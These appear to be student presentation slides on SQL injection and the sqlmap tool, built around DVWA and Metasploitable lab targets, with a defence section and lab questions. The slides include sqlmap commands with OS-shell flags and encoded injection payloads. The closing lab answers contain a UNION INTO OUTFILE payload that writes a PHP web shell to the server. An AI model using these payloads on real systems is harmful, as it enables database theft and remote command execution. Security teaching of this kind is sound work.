SQL Injection

Rushi, Abhinav, Yuvaraj, Xingmeng

Username

Password

SQL● Special Programming Language for handling data stored in Relational

Database Management Systems (RDBMS)

● Used to insert, display and store information from a website on a server.

● Essential for dynamic websites

● Works on the servers. For example : Apache, MS server etc.

SQL Injection● Detects and exploits database flaws to take control of entire database

● Checks for vulnerabilities in:

○ Forms (Username, Password and other fields of forms)

○ URLs (Data requests sent to servers to fetch or write data)

● Fingerprints the back-end DBMS

● Enumerates or retrieves data of interest such as table dumps, usernames,

passwords etc.

● Eventually exploiting the system once useful data is obtained such as - OS

takeover, web server takeover, data change etc.

SQLMAP - The Tool● Open source penetration testing tool

● Automates the process of detecting and exploiting SQL injection flaws and

taking over of database servers

● Comes with a powerful detection engine,

● Broad range of switches lasting from

○ database fingerprinting,

○ over data fetching from the database,

○ to accessing the underlying file system

○ executing commands on the operating system via out-of-band

connections.

Utility of Tool● Attacking vulnerable websites

● Protecting your own websites from exploits

[!] legal disclaimer: Usage of sqlmap for attacking targets without

prior mutual consent is illegal. It is the end user's responsibility to

obey all applicable local, state and federal laws. Developers assume

no liability and are not responsible for any misuse or

damage caused by this program

Developers

Bernardo Damele A. G.

Miroslav Stampar

The Flow

Injectable ParametersExample URL ->

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

We want to check if the id parameter is injectable we will try the following code

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

The first address returns the same webpage as the original URL [TRUE]

The second address returns a page different from the original URL [FALSE]

Therefore we know that the id parameter is injectable because the backend database evaluates the appended

statement to true, and to false correctly.

Automatic Payloads● Payloads are injected SQL statements used to try and grab data from the web-site

● Example Payload- >

http://172.16.151.129/dvwa/vulnerabilities/sqli/?id=1%27%20AND%20ORD%28MID%28%28SELECT%20DISTINCT%

28IFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%29%20FROM%

20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%206%2C1%29%2C11%2C1%29%29%3E56%20AND%20%

27eHhW%27%3D%27eHhW&Submit=Submit

● Clearly payloads are complicated and hence the process is automated by creating them based on the underlying

DBMS, OS and web-server

● These payloads are created and tested to grab information from the underlying database by attempting to gain

access to the INFORMATION_SCHEMA

● The INFORMATION_SCHEMA contains information about users, tables and procedures

● If no schema is found, sqlmap has a collection of 5 k table names and column names it can use in brute force.

Attack Payloads

Normal Page

Some data returned

More DataReturned

Fingerprinting Mechanism

- The underlying web-server is detected through HTTP cookies and headers, similar to what we saw in class

- The DBMS is fingerprinted through error message parsing, banner parsing and version specific payloads.

The Command

python sqlmap.py -u "http://172.16.151.140/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=18884db21c1ac46083760375da62d10c; security=low"

Executing SQLMap

Target URL + SQL Injection

Browser Session ID

Injection Techniques 1. Boolean

2. Error-based

3. Time-based

4. Union Attack.

5. Stacked queries

Boolean Based BlindThe command flag:

--technique b

How does it work:

1. “Blind” is when the results of the SQL injection are not visible to the attacker.

2. “Boolean” means that the injected SQL can either be evaluated to TRUE or FALSE

3. Together-> The web-page is displayed differently based on whether the injected statement

evaluates to TRUE or FALSE

For example ‘ and 1=2 [FALSE]

Error Based BlindThe command flag:

--technique E

How does it work:

● Works only when the web application has been configured to disclose back-end DBMS error messages

“Invalid query: You have an error in your SQL syntax; check the manual that

corresponds to your

MySQL server version for the right syntax to use near ''' at line 1”

● Detect the backend DBMS by passing random values to the id parameter

causing it to throw an error

“http://172.16.151.129/dvwa/vulnerabilities/sqli/?id=1”

Time Based BlindThe command flag: --technique t

How does it work:1. sqlmap replaces or appends to the affected parameter in the HTTP

request, a syntactically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds.

2. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character.

For example select ShipCity, Dest from Orders where ShipCity='' waitfor delay '0:0:10'

Union Attack TechniqueThe command flag:

--technique u

How does it work:

1. Using the boolean-based attack and error based attacked to guess the database type and # of

column and column type

2. Using the Union keyword to execute the command to obtain the useful information.

For example ‘ and 1=2 Union select password from users

Stacked Query Attack

1. Allow to use the “;” in the sql injection command to execute command.

2. It is always used to upload a file when conducting sql-injection.

NB: MySQL-PHP are widely use but stacked query is not allowed by default to security reason

Features

User, Password and Table EnumerationThe command:--dbs --all, --dbs --users, --dbs --current-userHow to execute the arbitrary command:● After successfully attacking the database, sqlmap will output all the information

about the available users, passwords, tables, columns and much more● Dictionary based attack can be used to crack the passwords.

Execute Arbitrary CommandsThe command:--sql-shell

How to execute the arbitrary command:After successfully attacking the database,there will be a sql-shell command line to tell you to execute sql command;

The Example Output screenshot as follows:

Execute Arbitrary Commands(Cont..)

The example of executing command: select * from users

How it works: Once the username and password are known for a DB user, then we can remotely connect to the DB and run SQL

OS Takeover● Run commands on the underlying operating system of the server

● Flags

○ --os-shell -> access to a remote shell

○ --os-cmd -> run a command on the server

● Example --os-cmd pwd

● Works by SQLmap uploading a binary executable containing two user defined functions

sys_eval() and sys_exec() to the the database and then running them to access the database.

How to Defend SQL Injection Attack1. Comprehensive data sanitization.We have to limit the data type of user input data for different web application. For example, if we develop an application for phone number, then the only data type is int and the value is (0~9).2. Use a web application firewall.There existing a popular and open source module ModSecurity. This module is available for the three most popular web servers,like,Apache Microsoft IIS and nginx. Except this feature, it also provides a complicated and ever-evolving set of rules to protect the web servers from being attacked.3. Limit database privileges by context.Taking an example, if we have admin user, normal working user and other group user. We need to differ the credential tables into 3 levels. Hence even the attackers successfully attacks the table. And only low credential tables will be shown.4. Avoid constructing SQL queries with user input.Using prepared SQL statements or procedures to deal with user inquiry will enhance the safety of a database.

ReferencesReference link:

https://github.com/sqlmapproject/sqlmap

Homepage: http://sqlmap.org

Download: .tar.gz or .zip

Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom

Issue tracker: https://github.com/sqlmapproject/sqlmap/issues

User's manual: https://github.com/sqlmapproject/sqlmap/wiki

Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ

Twitter: @sqlmap

Demos: #1 and #2

Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

http://www.esecurityplanet.com/hackers/how-to-prevent-sql-injection-attacks.html

Lab Questions

1.How is time-based sql injection different from other types of SQL injection?

2. What Changes would you make to the DVWA system to prevent this type of attacks?

Answers1. There is no big difference between “regular” boolean attack and time-based boolean attack. The “Normal” blind attack is based on the difference between the returned values. If there is no difference in the returned value then the time-based attack will be used.

2. Sanitize input, limit database privileges, avoid using direct user input to form DB queries.

3) In this part we will gain access to a shell in the browser without the use of SQLmap3.1) Navigate to [metasploitable IP] /dvwa/vulnerabilities/sqli/ using a browser in KALI3.2) Which PHP statement will allow you to run a command on the underlying OS?

<? system($_REQUEST['cmd']);?>3.3) By submitting things using the submission box find out which parameter is injectable

id3.4) Run the payload ' union select "TEXT",2 INTO OUTFILE '/tmp/im_in.txt'#3.5) View the contents of the /tmp/im_in.txt file Metasploitable 3.6) Using the 3.4 and 3.2 craft a payload to run commands on metasploitable from the Kali browserunion select "<? system($_REQUEST['cmd']);?>",2 INTO OUTFILE '/var/www/test/execcmp.php'#

Questions?